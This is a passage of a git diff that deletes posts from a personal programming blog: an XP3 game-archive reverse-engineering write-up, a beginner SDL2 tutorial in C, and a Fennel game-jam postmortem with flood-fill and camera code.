-#+BEGIN_SRC -$ ffmpeg -i [file] -c:a libvorbis song.ogg -#+END_SRC - -Here are some exercises if you want to play with this more: -- Get the frequency from the file being played, rather than hardcoding it at - 44.1 kHz. Check out the [[https://xiph.org/vorbis/doc/vorbisfile/reference.html][file Information section of the documentation]]. -- Add a status line showing the current timestamp. -- Watch [[https://www.youtube.com/watch?v=pFgui9uGmr4][this talk from SIGINT13]]. -- Play two sounds at once by adding their PCM values. Keep in mind that 8-bit - and 16-bit integers overflow quite easily. -- Learn the library for another audio codec/container, like libopenmpt for - classic tracker music. -- If you're feeling particularly up to a challenge, try rewriting the player - using just libvorbis and libogg, rather than libvorbisfile. diff --git a/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png b/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png Binary files differdeleted file mode 100644 index 0513350..0000000 --- a/posts/Reverse Engineering Babby's First Archive Format/basic-parsing.png +++ /dev/null diff --git a/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png b/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png Binary files differdeleted file mode 100644 index 0a8774c..0000000 --- a/posts/Reverse Engineering Babby's First Archive Format/binary-dump.png +++ /dev/null diff --git a/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png b/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png Binary files differdeleted file mode 100644 index 2ce8f62..0000000 --- a/posts/Reverse Engineering Babby's First Archive Format/catching-file-reads.png +++ /dev/null diff --git a/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org b/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org deleted file mode 100644 index 5d1bc77..0000000 --- a/posts/Reverse Engineering Babby's First Archive Format/reverse-engineering-babbys-first-archive-format.org +++ /dev/null @@ -1,120 +0,0 @@ -#+TITLE: Reverse Engineering Babby's First Archive Format -#+DATE: <2017-03-02 Thu 15:25> -#+TAGS: writeup, programming, reverse-engineering, video-games, x86, c, python -#+HAUNT_BASE_DIR: ../../haunt/ - -About two months have passed since the first release of Nekopack - a tool I -wrote for extracting game data from Nekopara's XP3 archives. While the process -wasn't an amazing reverse-engineering war story that will keep you on the edge -of your seat, I feel it deserves a small blog post explaining how I did it. -Additionally, there's no real documentation on the XP3 format as far as I'm -aware, so hopefully this post will serve as an informal specification. - -The first step I took was to see if anyone else had tried to reverse it. Even -something as simple as a writeup would have made my goal significantly more -attainable. The closest thing I was able to find was [[https://github.com/vn-tools/arc_unpacker][Arc Unpacker]], a tool -capable of extracting several archive formats, including XP3. However, -attempting to use it brought to my attention the fact that Nekopara's archives -are encrypted. Further searching yielded nothing of interest, so it seemed that -the solution was to write a tool of my own. I chose to write it from scratch, as -I couldn't predict how complex the encryption algorithm would be. - -Writing a tool to work with an archive format, however, requires a very thorough -understanding of how it's structured. Instinctively, I fired up my favorite hex -editor and went at it, with the [[https://github.com/vn-tools/arc_unpacker/blob/master/src/dec/kirikiri/xp3_archive_decoder.cc][source code of Arc]] open to figure out most of -it. - -#+CAPTION: A hex dump of the XP3 header. -[[./xp3-header.png]] - -The first section of the archive is the header. It begins with an 11-byte -"magic number," used by whatever program is opening it as a sanity check. It's -followed by a 64-bit offset which, for XP3 version 2, points to a few adjacent -values. First, an 8-bit integer that I've been told acts as a flags variable, -followed by a 64-bit integer representing the table's size, and finally another -64-bit integer containing an offset to the beginning of the table section. The -flags variable, to my knowledge, should have the 0x80 bit set; it's a constant -defined in the code of the KiriKiriZ engine that I presume marks compatibility -with the game engine. Byte 0x13 is a 32-bit unsigned integer representing the -version, where a value of 1 represents version 2 of the archive. - -The header can be represented as the following C struct. - -#+BEGIN_SRC c :hl_lines 0 -struct header { - char magic[11]; - uint64_t info_offset; - uint32_t version; - uint64_t table_size; - uint8_t flags; - uint64_t table_offset; -}; -#+END_SRC - -Seeking to the table, we find that it starts with some metadata. First, an -8-bit unsigned integer representing whether or not the contents of the archive -are compressed. That's followed by a 64-bit unsigned integer representing the -compressed size of the table, and another 64-bit unsigned integer representing -the decompressed size. The table's contents are compressed using LZ77 and -Huffman Coding, so let's use zlib! I proceeded to inflate the archive contents -according to the header and dumped it so that I could view it in my hex editor. - -#+CAPTION: Sections in the hexdump of the decompressed payload with the corresponding constants in the Arc source code. -[[./binary-dump.png]] - -Every entry has a header containing a 32-bit magic number (underlined in red), -followed by a 64-bit unsigned integer representing the size of the entry. It's a -very simple format to parse. This very first entry, =0x656c6946=, is an =eliF= -entry. It contains a UTF-16LE encoded filename and a "key", which is used to -associate the =eliF= entry with its corresponding =File= entry. That key is also -used when decrypting the file, but we'll get into that later on. - -The next visible chunk is a =File= entry. There's a lot in it, so it's broken up -into several parts: =info=, =segm=, =adlr=, and =time=" The =adlr= chunk is -pretty small and contains only the key, used to match the =File= entry to an -=eliF= entry. The =time= chunk is also pretty small, containing a UNIX timestamp -for the file creation date. What's a little more interesting are the two -remaining chunks. =segm= has offsets to the beginning of the file, and it can -actually contain several "segments." The =file= chunks specified in =segm= are -also compressed with LZ77 and Huffman Coding. =info= contains a flags variable, -a compressed and decompressed size, and what seems to be an MD5 hash of the -file. - -#+CAPTION: A screenshot of my terminal, showing the output of a bare-bones parser for the format. -[[./basic-parsing.png]] - -Now we run into the problem of the files' contents being encrypted. I began by -getting a debugger setup going to reverse engineer the binary. x64dbg isn't my -usual choice, especially not with Intel syntax, but it was the first thing I -was really able to get working. Of course, using the debugger alone is a little -primitive. We have other tools to make reverse engineering easier. - -#+CAPTION: A screenshot of procmon alongside x32dbg, logging Windows syscalls that read files. -[[./catching-file-reads.png]] - -Enter procmon. It's reminiscent of strace, but it's meant for Windows and has a -nice stack trace feature which helps us to locate the code that decrypts the -archive. This is the point where I got stuck, having to deal with threads. It -was mostly "guns blazing" debugging. I stepped through the code mindlessly for a -few days, until one night before going to bed when I decided to take another -look online for whether or not someone had cracked it yet. Then I found -[[https://bitbucket.org/SmilingWolf/xp3tools-updated][something interesting]]. - -It felt a little too easy, but I already wrote the unpacking part - so I wrote -code to decrypt buffers and copied the encryption keys into my code. Encryption -is symmetric and extremely simple, just single-key xor. A base key is first -derived by xoring the game's master key with the file key I mentioned earlier. -Then a one-byte key is derived from that key by xoring each byte. For some -games the least significant byte of the base key is used to encrypt the first -byte of the file. The game has default values to fall back to if either of -those keys are too simple. - -Since the script I found only had the keys for volumes 1 and 0, I decided to -try to get the key for volume 2 on my own. But now that I know the encryption -algorithm used, I can break it without having to disassemble the game. - -It's pretty simple. Most binary files have a "magic number" associated with -them, which allows us to perform a known-plaintext attack. Pair that with the -fact that the first byte of each file is encrypted with the least-significant -byte of the base key, and you've got yourself a cracking process simple enough -to do in [[https://github.com/TsarFox/nekopack/blob/master/other/find_key.py][about 100 lines of python]]. diff --git a/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png b/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png Binary files differdeleted file mode 100644 index 0fac996..0000000 --- a/posts/Reverse Engineering Babby's First Archive Format/xp3-header.png +++ /dev/null diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png Binary files differdeleted file mode 100644 index 4e9a146..0000000 --- a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/finished-window.png +++ /dev/null diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org deleted file mode 100644 index c1e8c98..0000000 --- a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/sdl-tutorial-part-0x00.org +++ /dev/null @@ -1,317 +0,0 @@ -#+TITLE: SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering -#+DATE: <2016-09-14 Sun 21:02> -#+TAGS: tutorial, programming, game-development, c -#+HAUNT_BASE_DIR: ../../haunt/ - -This is one of my older tutorials and follows a style unlike my current one. I -also no longer hold the same claims I made about the SDL documentation that I -originally made in this article. I think it's perfectly fine, you just need to -spend some time looking around because it's not organized like other -documentation is. For that reason, I have no plans to continue this tutorial -series unless someone specifically asks for me to continue it. - -SDL2 is my favorite graphics library right now. It might not be as powerful as -something like raw OpenGL, but it's simple. Simple enough that you can just -pick it up and start using it. There's a glaring issue with it, though. The -documentation is horrible. Absolutely horrible. A lot of it is unfinished, and -it doesn't look like it's getting attention any time soon. The SDL1.2 -documentation wasn't as bad, but that version of the library is vastly outdated -by today's standards. So here's my take on a tutorial for SDL - part 0x00 of a -I-don't-know-how-long-I'm-going-to-drag-this-on series. My examples are going -to be written in C, because the constructs I show here can still be used -verbatim in C++ (and probably SDL's other language bindings as well). This -tutorial will be covering the little boilerplate that SDL requires, as well as -the basics of windowing and rendering. Let's get into it. - -The first thing you have to worry about is installing and setting up SDL2.0. I -won't cover it in detail because it's something you should be able to figure out -yourself. If your operating system doesn't provide a means of package -management, you should be able to find a download on the [[https://libsdl.org/][official website]]. - -You should also figure out how to link SDL2 when you're compiling, nothing I -teach here will work if it isn't properly linked. If you're having trouble with -anything, fire up your favorite search engine or feel free to [[http://tsar-fox.com/][contact me]]. - -Alright, assuming you've successfully installed SDL, let's get to actually -programming. As with any C library, the first thing you should worry about is -including the header files. While SDL provides header files for specific -subsystems, we're not going to worry about that right now. There's a header -file that contains everything and we're going to use that for right now. - -#+BEGIN_SRC c :hl_lines 0 -#include <SDL2/SDL.h> -#+END_SRC - -Depending on how header files are organized on your system, you may have to use -this instead: - -#+BEGIN_SRC c :hl_lines 0 -#include <SDL.h> -#+END_SRC - -That will give us function prototypes and type definitions for everything in -the SDL library, but we have to initialize SDL before we can really do anything -with it. This is actually really simple, done with a single function call. - -#+BEGIN_SRC c :hl_lines 0 -SDL_Init(SDL_INIT_VIDEO); -#+END_SRC - -=SDL_Init= takes a flag as a parameter so it knows which subsystems to -initialize. /A/ parameter. One, not several. This might be a bit confusing to -some, especially if you're not familiar with bitwise arithmetic, but -=SDL_INIT_VIDEO= is nothing more than a preprocessor macro representing some -number. =SDL_Init= interprets that number, and initializes the subsystems -associated with it. We don't write the number out in our code, though (or at -least you shouldn't). We use the macros, but there aren't macros for every -combination of subsystems you can come up with. Does this mean that SDL can only -initialize one subsystem at a time? Not at all, to combine macros and represent -multiple subsystems, you would hook them together with the [[https://en.wikipedia.org/wiki/Bitwise_operation#OR][bitwise OR operator]]. -(=|=, not =||=). For example, if we wanted to initialize SDL's video AND audio -subsystems, we would do this - -#+BEGIN_SRC c :hl_lines 0 -SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO); -#+END_SRC - -But we're not going to be working with audio just yet. - -=SDL_Init= also returns an integer value, and it's pretty important. If it's -zero, SDL was initialized properly. Great! But if SDL can't be initialized for -some reason, it will return a negative number. This is where another SDL -function comes into the picture. =SDL_GetError= takes no arguments, but will -return a string literal explaining what went wrong. So if we wanted to do some -error checking (which you always should), we could do this: - -#+BEGIN_SRC c :hl_lines 0 -if (SDL_Init(SDL_INIT_VIDEO)) { - fprintf(stderr, "Here's the error: %s\n", - SDL_GetError()); - return 1; -} -#+END_SRC - -You can pretty much do anything here to handle the error. I'm using =fprintf(3)= -for simplicity, but SDL provides more advanced logging features which I'll cover -in a later tutorial. - -In SDL, you need to be responsible and clean up after yourself. For every -function that initializes or creates something, there is a complementary -function that deinitializes or destroys it. The function to counter =SDL_Init= -is =SDL_Quit=. It takes no parameters and returns nothing, you can just call it -and be done with it. With that covered, we've learned SDL's few lines of -boilerplate code. Much more appealing than something like Direct3D, eh? If you -compile and run the program right now, nothing interesting will happen. It -initialized and deinitialized SDL (unless something went wrong), but didn't -bother creating windows or doing anything because we didn't tell it to. Let's -change that. We first have to know about two important typedefs in SDL. -*SDL_Window, and SDL_Renderer.* =SDL_Window= is self-explanatory, it's a struct -representing a window, and =SDL_Renderer= is how you would put something into a -window. Renderers in SDL are capable of hardware acceleration and vertical-sync, -which is why SDL2 is awesome and SDL1.2 is left in the dust. These are just -structs, though, they don't do anything by themselves. Let's create a window, -and capture it in a =SDL_Window= struct: - -#+BEGIN_SRC c :hl_lines 0 -SDL_Window *my_cool_window = SDL_CreateWindow("A Cool Window", - SDL_WINDOWPOS_UNDEFINED, - SDL_WINDOWPOS_UNDEFINED, - 400, 400, SDL_WINDOW_SHOWN); -#+END_SRC - -Whoa, that's a mouthful, but it isn't as complicated as it looks. The first -argument is just a title for the window; you can name it whatever you want. The -next two arguments are X and Y values for where the window should be placed on -the screen. People usually don't care about this; you can use -=SDL_WINDOWPOS_UNDEFINED= if you don't. After that are the window's width and -height. I'm choosing to make my window 400 by 400 pixels, but you can choose -whatever size works best for your program. There are ways to change it later on, -too. Finally, we get to a flag. Its usage is similar to the flag we used with -=SDL_Init=, you use a bitwise OR to combine flags. We're not doing anything -fancy just yet, though, so =SDL_WINDOW_SHOWN= on its own will suffice. It -ensures that the window will be visible, rather than minimized. - -As you can hopefully tell from the example code above, =SDL_CreateWindow= -returns a pointer of type =SDL_Window=. If a window cannot be created, though, -it will return =NULL=. You should always do error checking, so throw something -in to see if =my_cool_window= (or whatever you named your window variable) is -=NULL=. - -#+BEGIN_SRC c :hl_lines 0 -if (!my_cool_window) { - fprintf(stderr, "Window couldn't be created. %s\n", - SDL_GetError()); - return 1; -} -#+END_SRC - -There's =SDL_GetError= again! He's our friend and you should be using him every -time you do error checking. - -Remember how I said that SDL has a complementary function to destroy anything -that is created? This is no exception. =SDL_DestroyWindow= is very similar to -=SDL_Quit=, but it takes a =SDL_Window= pointer as an argument. - -#+BEGIN_SRC c :hl_lines 0 -SDL_DestroyWindow(my_cool_window); -#+END_SRC - -It's sad to see him go, but we're done so we need to free the resources. At this -point, you can compile and run the C source file. It still kinda sucks, though. -When you run it, the window pops up and immediately goes away. One useful -function is =SDL_Delay=. It might seem mundane now, but it will become quite -important when we need to cap our program's framerate. It takes a number of -milliseconds as a parameter and temporarily stops your program so that SDL and -your computer can take a short break. Alright. So when we put that in our code -(after the window creation but before the window destruction), compile, and run -it, we get this: - -#+CAPTION: A screenshot of the window on my system. -[[./window.png]] - -I'm running i3wm, so it will probably look slightly different for you, but -we've finally got a window! It still sucks, though. It doesn't do anything, -it doesn't even clear itself! Let's make it white and learn a little bit -about renderers in SDL. - -If we want to do stuff within a window, we have two options. One is to create an -=SDL_Surface= from the window and draw to the surface, which is the sucky legacy -way of doing it so we're going to pretend that I didn't mention it, or you can -create a =SDL_Renderer=, which we're going to do because it's so much more -capable. We're going to use another SDL function call to create a renderer, and -we'll capture it in a =SDL_Renderer= pointer: - -#+BEGIN_SRC c :hl_lines 0 -SDL_Renderer *my_cool_renderer; -SDL_CreateRenderer(my_cool_window, -1, - SDL_RENDERER_ACCELERATED); -if (!my_cool_renderer) { - fprintf(stderr, "There was an error %s\n", - SDL_GetError()); -} -#+END_SRC - -Alright, so clearly the first argument is the window we want to create a -renderer for. The second is more complicated. It's the index of the driver to -initialize, which you probably don't care too much about so you can just put -1 -in there to have it use the first one that's available. The last is a flag, -which you probably know so much about by now. Finally, as you can imagine, -=SDL_CreateRenderer= returns =NULL= if a renderer cannot be created. This should -all seem pretty familiar, it's the same format as creating a window - create a -struct pointer to capture it, use a function call to create it, and do some -basic error checking. Dead simple, and it just gets better from here. - -Once again, don't forget to clean up after yourself. The function to remove a -renderer when you're done with it is =SDL_DestroyRenderer=. It just takes a -=SDL_Renderer= pointer as an argument. - -Now we've got a renderer, but if we compile and run our code - the effect is -the same because we haven't used it for anything. So let's change that and -learn a little bit about drawing in SDL. - -Renderers in SDL have a color associated with them, which they use when drawing -primitive geometry like lines and quadrilaterals. It doesn't affect textures, -but you'll probably end up using primitive geometry at some point so it's good -to know. =SDL_SetRenderDrawColor= changes the aforementioned color. We're -actually not going to be drawing any primitive geometry in this tutorial, but -I'm bringing this up because the renderer will use its associated color when -clearing the screen. So more about the function - it takes a renderer as an -argument, followed by red, green, blue, and alpha (transparency) values. I'm -going to make mine white (0xFF, 0xFF, 0xFF, 0xFF), but feel free to experiment. -After that, we'll be calling =SDL_RenderClear=, which takes a renderer as an -argument and, as I briefly mentioned a few lines ago, fills it with whatever -color the renderer is currently associated with. And finally, we'll call -=SDL_RenderPresent= to update the screen. This is where some people get a little -confused. Basically, in SDL you draw everything and /then/ update the screen, -meaning that you have as much time as you want to make the scene perfect before -you have to show it to the user. And we're pretty much done! Let's look at the -basic program: - -#+BEGIN_SRC c :hl_lines 0 -#include <stdio.h> -#include <SDL2/SDL.h> - -int main(int argc, char *argv[]) { - SDL_Window *my_cool_window; - SDL_Renderer *my_cool_renderer; - - if (SDL_Init(SDL_INIT_VIDEO)) { - fprintf(stderr, "ERROR: %s\n", SDL_GetError()); - return 1; - } - - my_cool_window = SDL_CreateWindow("Bush Did Harambe", - SDL_WINDOWPOS_UNDEFINED, - SDL_WINDOWPOS_UNDEFINED, - 400, 400, SDL_WINDOW_SHOWN); - if (!my_cool_window) { - fprintf(stderr, "ERROR: %s\n", SDL_GetError()); - return 1; - } - - my_cool_renderer = SDL_CreateRenderer(my_cool_window, - -1, - SDL_RENDERER_ACCELERATED); - if (!my_cool_renderer) { - fprintf(stderr, "ERROR: %s\n", SDL_GetError()); - return 1; - } - - SDL_SetRenderDrawColor(my_cool_renderer, 0xFF, 0xFF, 0xFF, 0xFF); - SDL_RenderClear(my_cool_renderer); - SDL_RenderPresent(my_cool_renderer); - - SDL_Delay(4000); - SDL_DestroyRenderer(my_cool_renderer); - SDL_DestroyWindow(my_cool_window); - SDL_Quit(); - return 0; -} -#+END_SRC - -Let's run it: - -#+CAPTION: A screenshot of the completed window on my system. -[[./finished-window.png]] - -To recap, we learned about: - -* SDL Functions - -- *SDL_Init*: Used to initialize SDL. Takes a flag as a parameter. Returns 0 if - it succeeds, or a negative value if it fails. -- *SDL_Quit*: Complements =SDL_Init=. Takes no parameters and returns nothing. -- *SDL_CreateWindow*: Creates a window and returns a pointer to it, or =NULL= if - it fails. Takes a title, X and Y positions, width, height, and a flag as - parameters. -- *SDL_DestroyWindow*: Complements =SDL_CreateWindow=, takes a =SDL_Window= - pointer as an argument and returns nothing. -- *SDL_CreateRenderer*: Called to create a renderer, and returns a pointer to - it, or =NULL= if it fails. Takes the =SDL_Window= pointer for the window you - want to create a renderer for, an index (usually -1), and a flag as - parameters. -- *SDL_DestroyRenderer*: Complements =SDL_CreateRenderer=. Takes a - =SDL_Renderer= pointer as an argument and returns nothing -- *SDL_Delay*: Takes a number of milliseconds as an argument, and proceeds to - wait for that period of time. -- *SDL_SetRenderDrawColor*: Takes a renderer, red, green, blue, and alpha values - as arguments, and changes the color associated with the given renderer. -- *SDL_RenderClear*: Takes a renderer as an argument and fills it with whatever - color is currently associated with that renderer. -- *SDL_RenderPresent*: "Refreshes" the renderer, presenting the image to the - user. - -* Type Definitions - -- *SDL_Window*: Captures the result of =SDL_CreateWindow=. -- *SDL_Renderer*: Captures the result of =SDL_CreateRenderer=. - -And if you would like to read more, here are some additional resources: - -- [[https://wiki.libsdl.org/SDL_Init#Remarks][SDL Documentation - SDL_Init (Remarks)]] -- [[https://wiki.libsdl.org/SDL_WindowFlags][SDL Documentation - Window Flags]] -- [[https://wiki.libsdl.org/SDL_RendererFlags][SDL Documentation - Renderer Flags]] - -You're still reading? Well, this is my first tutorial ever. If you have any -feedback, be it positive or negative, I'd love to hear it! I hope this tutorial -was helpful, there are many more to come. diff --git a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png b/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png Binary files differdeleted file mode 100644 index 0bbe5fc..0000000 --- a/posts/SDL Tutorial Part 0x00 - Boilerplate, Windowing and Rendering/window.png +++ /dev/null diff --git a/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org b/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org deleted file mode 100644 index 8a282f3..0000000 --- a/posts/Slime the World: A Postmortem/slime-the-world-postmortem.org +++ /dev/null @@ -1,320 +0,0 @@ -#+TITLE: Slime the World: A Postmortem -#+DATE: <2018-11-02 Fri 08:27> -#+TAGS: writeup, video-games, programming, game-development, lua, lisp, fennel - -[[https://itch.io/jam/autumn-lisp-game-jam-2018/rate/321822][Slime the World]] was my entry to this year's [[https://itch.io/jam/autumn-lisp-game-jam-2018][Autumn Lisp Game Jam]], and it managed -to win second place. The theme was slime, so it’s a game about covering -everything in sight with slime, and the dialect of Lisp I chose to use was -[[https://fennel-lang.org/][Fennel]], a simple and elegant Lisp that I feel perfectly matches the simplicity -and elegance of Lua. It takes on a more "modern" style that I associate with -Lisps such as Clojure. I had initially pushed Clojure to the side, feeling it -was too different from Common Lisp, but now that I've had a positive firsthand -experience with a Lisp where lists /aren't/ the data structure you always reach -for, I'm hoping to return to it with an open mind. - -When I signed up, I thought that the ten-day deadline was lax compared with some -of the more well-known jams like [[https://ldjam.com/][Ludum Dare]]. Being given ten days to complete a -submission was certainly more permissive than two would have been, but I found -that participating in a game jam and simultaneously juggling coursework from -university was challenging. To me, the point of a short deadline is so that you -can sit down and focus on nothing but developing the game for the stretch of the -jam, but even dedicating one weekend to working on the game felt irresponsible -when I had papers to write, problem sets to grind, and exams to study for. I -actually made myself submit the entry two days before the deadline so that I -wouldn't be working on it when I went home to visit my family this past weekend. -I had fun, though, didn't fall behind in my academics, and still had plenty of -time to spend with the people I love most. - -All in all, I'm very happy with my decision to participate. This was my first -game jam, and I think given the smaller size and relatively laid back -atmosphere, it was a wise choice for first jam. The dynamic nature of Lisp made -for a pleasant game development experience, I had an opportunity to try my hand -at sprite work in GIMP, and this is the first time I can say that I've -"finished" one of my games! I've made plenty of prototypes (which I now feel -inspired to return to and write a blog post about), but they never graduated -past the prototype stage. This reminds me of a point in [[https://www.youtube.com/watch?v=jGjq-C5cj2c&list=PLRDhcp_8c7uAPQfE6WMBo7PCNlkQIOLdO&index=5&t=0s][an entry to -3kliksphilip's "The Game Making Journey"]], which I took to be a suggestion to -finish at least one relatively basic game before starting on something huge and -deep[fn:1]: "I had no idea what people wanted from my proper games, like Sundown -Shambles or Don't Look Down, which were still not getting positive reviews even -after weeks of development - to me these were perfect, or at least a lot closer -to that status than other peoples' games and I had no idea of how I was supposed -to improve on them further. I learned that I should build things from the ground -up, getting it to work on a basic level before elaborating on it, rather than -starting with some obscure or absurdly complex idea and shoe-horning it into -something that people could play, relying on depth to compensate for lack of -balance or fun." In my case, those prototypes never went anywhere because I -wasn't focused on getting a simple base that was engaging, I had an -underdeveloped vision of gameplay and tried to implement the entire thing at -once, which inevitably led to me giving up. - -Surprisingly, one of the highlights for me was actually adapting [[https://en.wikipedia.org/wiki/Flood_fill][flood fill]] to -figure out how many surfaces in the map can be slimed. It's a pleasingly simple -algorithm, but until now, I've never had a reason to implement it. The following -isn't the code that's actually used in the game - it's been *significantly* -cleaned up, and works on maps made from text-based tiles instead of the -structures that the game uses to represent tiles, but I'm including a little -code walkthrough because I really just admire the simplicity of the algorithm. -It's also decoupled from the game code if you want to run it yourself, just make -sure [[https://raw.githubusercontent.com/rxi/lume/master/lume.lua][lume.lua]] is present. - -#+BEGIN_SRC fennel :hl_lines 0 -(local lume (require :lume)) - -(fn index-out-of-bounds [world x y] - (or (< y 0) (>= y (# world)) - (< x 0) (>= x (# (. world (+ y 1)))))) - -(fn tile-at [world x y] - (when (index-out-of-bounds world x y) - (error (string.format "(%d, %d) is out of bounds" x y))) - (. world (+ y 1) (+ x 1))) - -(fn iter-tiles [world] - (var x 0) - (var y 0) - - (let [height (# world)] - (fn [] - (if (< y height) - (let [last-x x - last-y y - tile (tile-at world x y) - width (- (# (. world (+ y 1))) 1)] - (if (>= x width) - (do - (set x 0) - (set y (+ 1 y))) - (set x (+ 1 x))) - (values last-x last-y tile)) - nil)))) - -;; Returns some tile in `world' of type `tile-type', or nil if no such tile is -;; present. -(fn find-any [tile-type world] - (var res nil) - (each [x y tile (iter-tiles world)] - (when (and (= tile tile-type) (not res)) - (set res [x y]))) - res) - -;; Returns whether or not `tile' exists in `checked'. -(fn tile-checked [checked x y] - (lume.match checked - (fn [tile] - (let [(other-x other-y) (unpack tile)] - (and (= x other-x) - (= y other-y)))))) - -;; Modified implementation of <https://en.wikipedia.org/wiki/Flood_fill>. -(fn count-surfaces-recur [world x y checked] - (let [check-adjacent (fn [world x y checked] - (if (index-out-of-bounds world x y) - 0 - (if (= " " (tile-at world x y)) - (count-surfaces-recur world x y checked) - 1)))] - (if (tile-checked checked x y) - 0 - (do (table.insert checked [x y]) - (+ (check-adjacent world (+ x 1) y checked) - (check-adjacent world (- x 1) y checked) - (check-adjacent world x (+ y 1) checked) - (check-adjacent world x (- y 1) checked)))))) - -;; Returns the number of slime-able surfaces in the given grid of tiles. -(fn count-surfaces [world] - (let [seed (find-any " " world)] - (when seed - (let [(x y) (unpack seed)] - (count-surfaces-recur world x y []))))) - -(let [world [["█" "█" "█" "█"] - ["█" " " "█" "█"] - ["█" " " " " "█"] - ["█" " " " " "█"] - ["█" "█" "█" "█"]]] - (print (count-surfaces world))) -#+END_SRC - -There are a few shortcomings of this implementation (chiefly, the map has to be -one enclosed space, there can't be any "empty" tiles around the map's border), -but for the purposes of a game jam entry, it did the job wonderfully. [[https://github.com/rxi/lume][=lume=]] is -an excellent library that prides itself on being "geared towards gamedev," but -as you can see from the code, it also provides some general iteration constructs -that prove useful when programming in a more functional style. =tile-at= and -=index-out-of-bounds= are just my mapping of cartesian coordinates onto a Lua -array (which are indexed starting at 1, /not/ 0). =iter-tiles= provides an -[[https://www.lua.org/pil/7.1.html][iterator]] over the text-based world structure I'm using, yielding an =x=, a =y=, -and the =tile= for every addressable location in the world. It's more stateful -than I'd like, and I know that Lua supports [[https://www.lua.org/pil/7.3.html][stateless iterators]], but I didn't -really want to figure those out. Lisp is multi-paradigm, after all. - -All =count-surfaces= does is find a place for =count-surfaces-recur= to start, -which is where the real meat of the algorithm is. As the name implies, it's -recursive: - -1. If the tile's been checked already, stop and return 0. -2. For each adjacent tile (one step north, west, east, and south), sum: - 1. 1, if the tile is a wall (as that means we've hit one side of the tile) - 2. The return value of =count-surfaces-recur= if it isn't a wall -3. Return that sum. - -We're really just walking the map's empty space and keeping track of every time -we hit the side of a tile. There are better ways to implement flood fill, but I -think this is fairly easy to reason about and understand. - -Participating in the game jam taught me several lessons, and there are a few I -would like to share with you: - -* The First Solution Doesn't Have To Be The Best Solution - -I find that, when I initially set out to write a blog post or something similar, -I'm most effective if I direct my attention towards getting words down on paper -and pay little mind to formatting or coherence. Both are easily addressed later -on in the writing process, and having the words in a malleable medium gives me a -framework to run with. This is different than the approach I typically take when -programming, where I do a lot of planning in my head and strive to nail the most -elegant solution on the first try. "Most elegant," being, of course, subjective. -However, working within a strict deadline pushed me towards putting out some -arguably "hackier" code, which in turn helped me to realize the usefulness of -applying my "get words down on paper" methodology to programming. Allow me to -elaborate with some examples. - -The first iteration of the code for updating the camera looked like this: - -#+BEGIN_SRC fennel :hl_lines 0 -;; Update camera. -(set camera-x (lume.lerp camera-x (- swanky-x camera-lock-goal-x) dt)) -(set camera-y (lume.lerp camera-y (- swanky-y camera-lock-goal-y) dt)) - -;; Lock camera so that it doesn't go out of bounds. -(when (> 0 camera-x) - (set camera-x 0)) - -(when (> 0 camera-y) - (set camera-y 0)) - -(when (>= camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width)) - (set camera-x (- (* tile-width (- (. sandbox :width) 3)) screen-width))) - -(when (>= camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height)) - (set camera-y (- (* tile-height (- (. sandbox :height) 2)) screen-height))) -#+END_SRC - -All of the variables you see above, with the exception of =dt=, are globally -accessible and mutable. This is typically frowned upon in production code, but I -think that for a first iteration, globals make the code easier to think about, -and that's more effective for grounding the ideas that you have. - -Now that I was able to see which information was associated with which concepts -in the code, I was able to replace the loose global variables with tables. This -was the subsequent iteration: - -#+BEGIN_SRC fennel :hl_lines 0 -;; Update camera. -(tset camera :x-pos (lume.lerp (. camera :x-pos) - (- (. player :x-pos) camera-lock-goal-x) (* 4 dt))) -(tset camera :y-pos (lume.lerp (. camera :y-pos) - (- (. player :y-pos) camera-lock-goal-x) (* 4 dt))) -;; Lock camera so that it doesn't go out of bounds. -(when (> 0 (. camera :x-pos)) - (tset camera :x-pos 0)) - -(when (> 0 (. camera :y-pos)) - (tset camera :y-pos 0)) - -(let [max-x (- (* (. map :tiles :width) (. world :width)) screen-width)] - (when (>= (. camera :x-pos) max-x) - (tset camera :x-pos max-x))) - -(let [max-y (- (* (. map :tiles :height) (. world :height)) screen-height)] - (when (>= (. camera :y-pos) max-y) - (tset camera :y-pos max-y))) -#+END_SRC - -I think this less readable, but again, much like with writing, formatting and -coherence are things you can and should come back to. The current version of the -game has more general function that abstracts this notion of updating the camera -into a function that doesn't incur side effects. - -#+BEGIN_SRC fennel :hl_lines 0 -(fn focus-on-object [camera object dt] - (let [last-x (. camera :x-pos) - last-y (. camera :y-pos) - max-x (. camera :max-x) - max-y (. camera :max-y) - object-x (. object :x-pos) - object-y (. object :y-pos) - width (. object :width) - height (. object :height) - screen-width (. camera :screen-width) - screen-height (. camera :screen-height) - x-offset (math.floor (- (/ screen-width 2) (/ width 2))) - y-offset (math.floor (- (/ screen-height 2) (/ height 2))) - x (lume.lerp last-x (- object-x x-offset) (* 4 dt)) - y (lume.lerp last-y (- object-y y-offset) (* 4 dt)) - x (lume.clamp x 0 max-x) - y (lume.clamp y 0 max-y)] - (values x y))) -#+END_SRC - -This version is still, in my opinion, "hacky." For one, the code is mostly field -retrieval, and this could probably be broken 